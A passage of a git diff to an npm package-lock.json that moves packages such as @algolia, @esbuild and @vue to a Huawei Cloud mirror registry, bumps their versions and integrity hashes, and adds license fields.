"sha512-aSOX/smauyTkP21Pf52pJ1O2LmNFJ5iHRIzEeTh0mwBeADO4GdG94cAWDILFA9rNblq/nK3EDh3+UyHHjplZ1A==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.1.tgz", + "integrity": "sha512-W5mGfGDsyfVR+r4pUFrYLGBEM18gs38+GNt5PE5uPULy4uVTSnnVSkJkWeRkmLBk9zEZ/Nld8m4zavK6dtEuYg==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.0" + "@algolia/requester-common": "4.17.1" } }, "node_modules/@algolia/requester-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.0.tgz", - "integrity": "sha512-XJjmWFEUlHu0ijvcHBoixuXfEoiRUdyzQM6YwTuB8usJNIgShua8ouFlRWF8iCeag0vZZiUm4S2WCVBPkdxFgg==", - "dev": true + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-common/-/requester-common-4.17.1.tgz", + "integrity": "sha512-HggXdjvVFQR0I5l7hM5WdHgQ1tqcRWeyXZz8apQ7zPWZhirmY2E9D6LVhDh/UnWQNEm7nBtM+eMFONJ3bZccIQ==", + "dev": true, + "license": "MIT" }, "node_modules/@algolia/requester-node-http": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.0.tgz", - "integrity": "sha512-bpb/wDA1aC6WxxM8v7TsFspB7yBN3nqCGs2H1OADolQR/hiAIjAxusbuMxVbRFOdaUvAIqioIIkWvZdpYNIn8w==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-node-http/-/requester-node-http-4.17.1.tgz", + "integrity": "sha512-NzFWecXT6d0PPsQY9L+/qoK2deF74OLcpvqCH+Vh3mh+QzPsFafcBExdguAjZsAWDn1R6JEeFW7/fo/p0SE57w==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.0" + "@algolia/requester-common": "4.17.1" } }, "node_modules/@algolia/transporter": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.0.tgz", - "integrity": "sha512-6xL6H6fe+Fi0AEP3ziSgC+G04RK37iRb4uUUqVAH9WPYFI8g+LYFq6iv5HS8Cbuc5TTut+Bwj6G+dh/asdb9uA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/transporter/-/transporter-4.17.1.tgz", + "integrity": "sha512-ZM+qhX47Vh46mWH8/U9ihvy98HdTYpYQDSlqBD7IbiUbbyoCMke+qmdSX2MGhR2FCcXBSxejsJKKVAfbpaLVgg==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.0", - "@algolia/logger-common": "4.17.0", - "@algolia/requester-common": "4.17.0" + "@algolia/cache-common": "4.17.1", + "@algolia/logger-common": "4.17.1", + "@algolia/requester-common": "4.17.1" } }, "node_modules/@babel/parser": { - "version": "7.21.4", - "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.21.4.tgz", - "integrity": "sha512-alVJj7k7zIxqBZ7BTRhz0IqJFxW1VJbm6N8JbcYhQ186df9ZBPbZBmWSqAMXwHGsCJdYks7z/voa3ibiS5bCIw==", + "version": "7.22.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/parser/-/parser-7.22.3.tgz", + "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==", "dev": true, + "license": "MIT", "bin": { "parser": "bin/babel-parser.js" }, @@ -254,30 +272,33 @@ } }, "node_modules/@docsearch/css": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.3.4.tgz", - "integrity": "sha512-vDwCDoVXDgopw/hvr0zEADew2wWaGP8Qq0Bxhgii1Ewz2t4fQeyJwIRN/mWADeLFYPVkpz8TpEbxya/i6Tm0WA==", - "dev": true + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/css/-/css-3.4.0.tgz", + "integrity": "sha512-Hg8Xfma+rFwRi6Y/pfei4FJoQ1hdVURmmNs/XPoMTCPAImU+d5yxj+M+qdLtNjWRpfWziU4dQcqY94xgFBn2dg==", + "dev": true, + "license": "MIT" }, "node_modules/@docsearch/js": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.3.4.tgz", - "integrity": "sha512-Xd2saBziXJ1UuVpcDz94zAFEFAM6ap993agh0za2e3LDZLhaW993b1f9gyUL4e1CZLsR076tztG2un2gVncvpA==", + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/js/-/js-3.4.0.tgz", + "integrity": "sha512-uOtOHZJv+5PQmL68+srVzlGhLejnEBJgZl1bR87Zh/uK5RUI7p6el1R8hGTl2F8K2tCloNRxTMtXyYUNbMV+qw==", "dev": true, + "license": "MIT", "dependencies": { - "@docsearch/react": "3.3.4", + "@docsearch/react": "3.4.0", "preact": "^10.0.0" } }, "node_modules/@docsearch/react": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.3.4.tgz", - "integrity": "sha512-aeOf1WC5zMzBEi2SI6WWznOmIo9rnpN4p7a3zHXxowVciqlI4HsZGtOR9nFOufLeolv7HibwLlaM0oyUqJxasw==", + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/react/-/react-3.4.0.tgz", + "integrity": "sha512-ufrp5879XYGojgS30ZAp8H4qIMbahRHB9M85VDBP36Xgz5QjYM54i1URKj5e219F7gqTtOivfztFTij6itc0MQ==", "dev": true, + "license": "MIT", "dependencies": { "@algolia/autocomplete-core": "1.8.2", "@algolia/autocomplete-preset-algolia": "1.8.2", - "@docsearch/css": "3.3.4", + "@docsearch/css": "3.4.0", "algoliasearch": "^4.0.0" }, "peerDependencies": { @@ -298,13 +319,14 @@ } }, "node_modules/@esbuild/android-arm": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.17.18.tgz", - "integrity": "sha512-EmwL+vUBZJ7mhFCs5lA4ZimpUH3WMAoqvOIYhVQwdIgSpHC8ImHdsRyhHAVxpDYUSm0lWvd63z0XH1IlImS2Qw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm/-/android-arm-0.17.19.tgz", + "integrity": "sha512-rIKddzqhmav7MSmoFCmDIb6e2W57geRsM94gV2l38fzhXMwq7hZoClug9USI2pFRGL06f4IOPHHpFNOkWieR8A==", "cpu": [ "arm" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "android" @@ -314,13 +336,14 @@ } }, "node_modules/@esbuild/android-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.17.18.tgz", - "integrity": "sha512-/iq0aK0eeHgSC3z55ucMAHO05OIqmQehiGay8eP5l/5l+iEr4EIbh4/MI8xD9qRFjqzgkc0JkX0LculNC9mXBw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm64/-/android-arm64-0.17.19.tgz", + "integrity": "sha512-KBMWvEZooR7+kzY0BtbTQn0OAYY7CsiydT63pVEaPtVYF0hXbUaOyZog37DKxK7NF3XacBJOpYT4adIJh+avxA==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "android" @@ -330,13 +353,14 @@ } }, "node_modules/@esbuild/android-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.17.18.tgz", - "integrity": "sha512-x+0efYNBF3NPW2Xc5bFOSFW7tTXdAcpfEg2nXmxegm4mJuVeS+i109m/7HMiOQ6M12aVGGFlqJX3RhNdYM2lWg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-x64/-/android-x64-0.17.19.tgz", + "integrity": "sha512-uUTTc4xGNDT7YSArp/zbtmbhO0uEEK9/ETW29Wk1thYUJBz3IVnvgEiEwEa9IeLyvnpKrWK64Utw2bgUmDveww==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "android" @@ -346,13 +370,14 @@ } }, "node_modules/@esbuild/darwin-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.17.18.tgz", - "integrity": "sha512-6tY+djEAdF48M1ONWnQb1C+6LiXrKjmqjzPNPWXhu/GzOHTHX2nh8Mo2ZAmBFg0kIodHhciEgUBtcYCAIjGbjQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-arm64/-/darwin-arm64-0.17.19.tgz", + "integrity": "sha512-80wEoCfF/hFKM6WE1FyBHc9SfUblloAWx6FJkFWTWiCoht9Mc0ARGEM47e67W9rI09YoUxJL68WHfDRYEAvOhg==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "darwin" @@ -362,13 +387,14 @@ } }, "node_modules/@esbuild/darwin-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.17.18.tgz", - "integrity": "sha512-Qq84ykvLvya3dO49wVC9FFCNUfSrQJLbxhoQk/TE1r6MjHo3sFF2tlJCwMjhkBVq3/ahUisj7+EpRSz0/+8+9A==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-x64/-/darwin-x64-0.17.19.tgz", + "integrity": "sha512-IJM4JJsLhRYr9xdtLytPLSH9k/oxR3boaUIYiHkAawtwNOXKE8KoU8tMvryogdcT8AU+Bflmh81Xn6Q0vTZbQw==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "darwin" @@ -378,13 +404,14 @@ } }, "node_modules/@esbuild/freebsd-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.18.tgz", - "integrity": "sha512-fw/ZfxfAzuHfaQeMDhbzxp9mc+mHn1Y94VDHFHjGvt2Uxl10mT4CDavHm+/L9KG441t1QdABqkVYwakMUeyLRA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.19.tgz", + "integrity": "sha512-pBwbc7DufluUeGdjSU5Si+P3SoMF5DQ/F/UmTSb8HXO80ZEAJmrykPyzo1IfNbAoaqw48YRpv8shwd1NoI0jcQ==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "freebsd" @@ -394,13 +421,14 @@ } }, "node_modules/@esbuild/freebsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.17.18.tgz", - "integrity": "sha512-FQFbRtTaEi8ZBi/A6kxOC0V0E9B/97vPdYjY9NdawyLd4Qk5VD5g2pbWN2VR1c0xhzcJm74HWpObPszWC+qTew==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-x64/-/freebsd-x64-0.17.19.tgz", + "integrity": "sha512-4lu+n8Wk0XlajEhbEffdy2xy53dpR06SlzvhGByyg36qJw6Kpfk7cp45DR/62aPH9mtJRmIyrXAS5UWBrJT6TQ==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "freebsd" @@ -410,13 +438,14 @@ } }, "node_modules/@esbuild/linux-arm": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.17.18.tgz", - "integrity": "sha512-jW+UCM40LzHcouIaqv3e/oRs0JM76JfhHjCavPxMUti7VAPh8CaGSlS7cmyrdpzSk7A+8f0hiedHqr/LMnfijg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm/-/linux-arm-0.17.19.tgz", + "integrity": "sha512-cdmT3KxjlOQ/gZ2cjfrQOtmhG4HJs6hhvm3mWSRDPtZ/lP5oe8FWceS10JaSJC13GBd4eH/haHnqf7hhGNLerA==", "cpu": [ "arm" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -426,13 +455,14 @@ } }, "node_modules/@esbuild/linux-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.17.18.tgz", - "integrity": "sha512-R7pZvQZFOY2sxUG8P6A21eq6q+eBv7JPQYIybHVf1XkQYC+lT7nDBdC7wWKTrbvMXKRaGudp/dzZCwL/863mZQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm64/-/linux-arm64-0.17.19.tgz", + "integrity": "sha512-ct1Tg3WGwd3P+oZYqic+YZF4snNl2bsnMKRkb3ozHmnM0dGWuxcPTTntAF6bOP0Sp4x0PjSF+4uHQ1xvxfRKqg==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -442,13 +472,14 @@ } }, "node_modules/@esbuild/linux-ia32": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.17.18.tgz", - "integrity": "sha512-ygIMc3I7wxgXIxk6j3V00VlABIjq260i967Cp9BNAk5pOOpIXmd1RFQJQX9Io7KRsthDrQYrtcx7QCof4o3ZoQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ia32/-/linux-ia32-0.17.19.tgz", + "integrity": "sha512-w4IRhSy1VbsNxHRQpeGCHEmibqdTUx61Vc38APcsRbuVgK0OPEnQ0YD39Brymn96mOx48Y2laBQGqgZ0j9w6SQ==", "cpu": [ "ia32" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -458,13 +489,14 @@ } }, "node_modules/@esbuild/linux-loong64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.17.18.tgz", - "integrity": "sha512-bvPG+MyFs5ZlwYclCG1D744oHk1Pv7j8psF5TfYx7otCVmcJsEXgFEhQkbhNW8otDHL1a2KDINW20cfCgnzgMQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-loong64/-/linux-loong64-0.17.19.tgz", + "integrity": "sha512-2iAngUbBPMq439a+z//gE+9WBldoMp1s5GWsUSgqHLzLJ9WoZLZhpwWuym0u0u/4XmZ3gpHmzV84PonE+9IIdQ==", "cpu": [ "loong64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -474,13 +506,14 @@ } }, "node_modules/@esbuild/linux-mips64el": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.17.18.tgz", - "integrity": "sha512-oVqckATOAGuiUOa6wr8TXaVPSa+6IwVJrGidmNZS1cZVx0HqkTMkqFGD2HIx9H1RvOwFeWYdaYbdY6B89KUMxA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-mips64el/-/linux-mips64el-0.17.19.tgz", + "integrity": "sha512-LKJltc4LVdMKHsrFe4MGNPp0hqDFA1Wpt3jE1gEyM3nKUvOiO//9PheZZHfYRfYl6AwdTH4aTcXSqBerX0ml4A==", "cpu": [ "mips64el" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -490,13 +523,14 @@ } }, "node_modules/@esbuild/linux-ppc64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.17.18.tgz", - "integrity": "sha512-3dLlQO+b/LnQNxgH4l9rqa2/IwRJVN9u/bK63FhOPB4xqiRqlQAU0qDU3JJuf0BmaH0yytTBdoSBHrb2jqc5qQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ppc64/-/linux-ppc64-0.17.19.tgz", + "integrity": "sha512-/c/DGybs95WXNS8y3Ti/ytqETiW7EU44MEKuCAcpPto3YjQbyK3IQVKfF6nbghD7EcLUGl0NbiL5Rt5DMhn5tg==", "cpu": [ "ppc64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -506,13 +540,14 @@ } }, "node_modules/@esbuild/linux-riscv64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.17.18.tgz", - "integrity": "sha512-/x7leOyDPjZV3TcsdfrSI107zItVnsX1q2nho7hbbQoKnmoeUWjs+08rKKt4AUXju7+3aRZSsKrJtaRmsdL1xA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-riscv64/-/linux-riscv64-0.17.19.tgz", + "integrity": "sha512-FC3nUAWhvFoutlhAkgHf8f5HwFWUL6bYdvLc/TTuxKlvLi3+pPzdZiFKSWz/PF30TB1K19SuCxDTI5KcqASJqA==", "cpu": [ "riscv64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -522,13 +557,14 @@ } }, "node_modules/@esbuild/linux-s390x": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.17.18.tgz", - "integrity": "sha512-cX0I8Q9xQkL/6F5zWdYmVf5JSQt+ZfZD2bJudZrWD+4mnUvoZ3TDDXtDX2mUaq6upMFv9FlfIh4Gfun0tbGzuw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-s390x/-/linux-s390x-0.17.19.tgz", + "integrity": "sha512-IbFsFbxMWLuKEbH+7sTkKzL6NJmG2vRyy6K7JJo55w+8xDk7RElYn6xvXtDW8HCfoKBFK69f3pgBJSUSQPr+4Q==", "cpu": [ "s390x" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -538,13 +574,14 @@ } }, "node_modules/@esbuild/linux-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.17.18.tgz", - "integrity": "sha512-66RmRsPlYy4jFl0vG80GcNRdirx4nVWAzJmXkevgphP1qf4dsLQCpSKGM3DUQCojwU1hnepI63gNZdrr02wHUA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-x64/-/linux-x64-0.17.19.tgz", + "integrity": "sha512-68ngA9lg2H6zkZcyp22tsVt38mlhWde8l3eJLWkyLrp4HwMUr3c1s/M2t7+kHIhvMjglIBrFpncX1SzMckomGw==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" @@ -554,13 +591,14 @@ } }, "node_modules/@esbuild/netbsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.17.18.tgz", - "integrity": "sha512-95IRY7mI2yrkLlTLb1gpDxdC5WLC5mZDi+kA9dmM5XAGxCME0F8i4bYH4jZreaJ6lIZ0B8hTrweqG1fUyW7jbg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/netbsd-x64/-/netbsd-x64-0.17.19.tgz", + "integrity": "sha512-CwFq42rXCR8TYIjIfpXCbRX0rp1jo6cPIUPSaWwzbVI4aOfX96OXY8M6KNmtPcg7QjYeDmN+DD0Wp3LaBOLf4Q==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "netbsd" @@ -570,13 +608,14 @@ } }, "node_modules/@esbuild/openbsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.17.18.tgz", - "integrity": "sha512-WevVOgcng+8hSZ4Q3BKL3n1xTv5H6Nb53cBrtzzEjDbbnOmucEVcZeGCsCOi9bAOcDYEeBZbD2SJNBxlfP3qiA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/openbsd-x64/-/openbsd-x64-0.17.19.tgz", + "integrity": "sha512-cnq5brJYrSZ2CF6c35eCmviIN3k3RczmHz8eYaVlNasVqsNY+JKohZU5MKmaOI+KkllCdzOKKdPs762VCPC20g==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "openbsd" @@ -586,13 +625,14 @@ } }, "node_modules/@esbuild/sunos-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.17.18.tgz", - "integrity": "sha512-Rzf4QfQagnwhQXVBS3BYUlxmEbcV7MY+BH5vfDZekU5eYpcffHSyjU8T0xucKVuOcdCsMo+Ur5wmgQJH2GfNrg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/sunos-x64/-/sunos-x64-0.17.19.tgz", + "integrity": "sha512-vCRT7yP3zX+bKWFeP/zdS6SqdWB8OIpaRq/mbXQxTGHnIxspRtigpkUcDMlSCOejlHowLqII7K2JKevwyRP2rg==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "sunos" @@ -602,13 +642,14 @@ } }, "node_modules/@esbuild/win32-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.17.18.tgz", - "integrity": "sha512-Kb3Ko/KKaWhjeAm2YoT/cNZaHaD1Yk/pa3FTsmqo9uFh1D1Rfco7BBLIPdDOozrObj2sahslFuAQGvWbgWldAg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-arm64/-/win32-arm64-0.17.19.tgz", + "integrity": "sha512-yYx+8jwowUstVdorcMdNlzklLYhPxjniHWFKgRqH7IFlUEa0Umu3KuYplf1HUZZ422e3NU9F4LGb+4O0Kdcaag==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" @@ -618,13 +659,14 @@ } }, "node_modules/@esbuild/win32-ia32": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.17.18.tgz", - "integrity": "sha512-0/xUMIdkVHwkvxfbd5+lfG7mHOf2FRrxNbPiKWg9C4fFrB8H0guClmaM3BFiRUYrznVoyxTIyC/Ou2B7QQSwmw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-ia32/-/win32-ia32-0.17.19.tgz", + "integrity": "sha512-eggDKanJszUtCdlVs0RB+h35wNlb5v4TWEkq4vZcmVt5u/HiDZrTXe2bWFQUez3RgNHwx/x4sk5++4NSSicKkw==", "cpu": [ "ia32" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" @@ -634,13 +676,14 @@ } }, "node_modules/@esbuild/win32-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.17.18.tgz", - "integrity": "sha512-qU25Ma1I3NqTSHJUOKi9sAH1/Mzuvlke0ioMJRthLXKm7JiSKVwFghlGbDLOO2sARECGhja4xYfRAZNPAkooYg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-x64/-/win32-x64-0.17.19.tgz", + "integrity": "sha512-lAhycmKnVOuRYNtRtatQR1LPQf2oYCkRGkSFnseDAKPl8lu5SOsK/e1sXe5a0Pc5kHIHe6P2I/ilntNv2xf3cA==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" @@ -658,6 +701,13 @@ "node": ">=6" } }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://repo.huaweicloud.com/repository/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true, + "license": "MIT" + }, "node_modules/@jupyter/ydoc": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/@jupyter/ydoc/-/ydoc-1.0.2.tgz", @@ -1339,27 +1389,24 @@ "csstype": "^3.0.2" } }, - "node_modules/@types/react/node_modules/csstype": { - "version": "3.1.2", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.2.tgz", - "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" - }, "node_modules/@types/scheduler": { "version": "0.16.3", "resolved": "https://registry.npmmirror.com/@types/scheduler/-/scheduler-0.16.3.tgz", "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" }, "node_modules/@types/web-bluetooth": { - "version": "0.0.16", - "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz", - "integrity": "sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==", - "dev": true + "version": "0.0.17", + "resolved": "https://repo.huaweicloud.com/repository/npm/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", + "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", + "dev": true, + "license": "MIT" }, "node_modules/@vitejs/plugin-vue": { - "version": "4.2.1", - "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.2.1.tgz", - "integrity": "sha512-ZTZjzo7bmxTRTkb8GSTwkPOYDIP7pwuyV+RV53c9PYUouwcbkIZIvWvNWlX2b1dYZqtOv7D6iUAnJLVNGcLrSw==", + "version": "4.2.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vitejs/plugin-vue/-/plugin-vue-4.2.3.tgz", + "integrity": "sha512-R6JDUfiZbJA9cMiguQ7jxALsgiprjBeHL5ikpXfJCH62pPHtI+JdJ5xWj6Ev73yXSlYl86+blXn1kZHQ7uElxw==", "dev": true, + "license": "MIT", "engines": { "node": "^14.18.0 || >=16.0.0" }, @@ -1369,53 +1416,57 @@ } }, "node_modules/@vue/compiler-core": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.2.47.tgz", - "integrity": "sha512-p4D7FDnQb7+YJmO2iPEv0SQNeNzcbHdGByJDsT4lynf63AFkOTFN07HsiRSvjGo0QrxR/o3d0hUyNCUnBU2Tig==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-core/-/compiler-core-3.3.4.tgz", + "integrity": "sha512-cquyDNvZ6jTbf/+x+AgM2Arrp6G4Dzbb0R64jiG804HRMfRiFXWI6kqUVqZ6ZR0bQhIoQjB4+2bhNtVwndW15g==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/parser": "^7.16.4", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.21.3", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "source-map": "^0.6.1" + "source-map-js": "^1.0.2" } }, "node_modules/@vue/compiler-dom": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.2.47.tgz", - "integrity": "sha512-dBBnEHEPoftUiS03a4ggEig74J2YBZ2UIeyfpcRM2tavgMWo4bsEfgCGsu+uJIL/vax9S+JztH8NmQerUo7shQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-dom/-/compiler-dom-3.3.4.tgz", + "integrity": "sha512-wyM+OjOVpuUukIq6p5+nwHYtj9cFroz9cwkfmP9O1nzH68BenTTv0u7/ndggT8cIQlnBeOo6sUT/gvHcIkLA5w==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/compiler-core": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-core": "3.3.4", + "@vue/shared": "3.3.4" } }, "node_modules/@vue/compiler-sfc": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.2.47.tgz", - "integrity": "sha512-rog05W+2IFfxjMcFw10tM9+f7i/+FFpZJJ5XHX72NP9eC2uRD+42M3pYcQqDXVYoj74kHMSEdQ/WmCjt8JFksQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-sfc/-/compiler-sfc-3.3.4.tgz", + "integrity": "sha512-6y/d8uw+5TkCuzBkgLS0v3lSM3hJDntFEiUORM11pQ/hKvkhSKZrXW6i69UyXlJQisJxuUEJKAWEqWbWsLeNKQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/parser": "^7.16.4", - "@vue/compiler-core": "3.2.47", - "@vue/compiler-dom": "3.2.47", - "@vue/compiler-ssr": "3.2.47", - "@vue/reactivity-transform": "3.2.47", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.20.15", + "@vue/compiler-core": "3.3.4", + "@vue/compiler-dom": "3.3.4", + "@vue/compiler-ssr": "3.3.4", + "@vue/reactivity-transform": "3.3.4", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "magic-string": 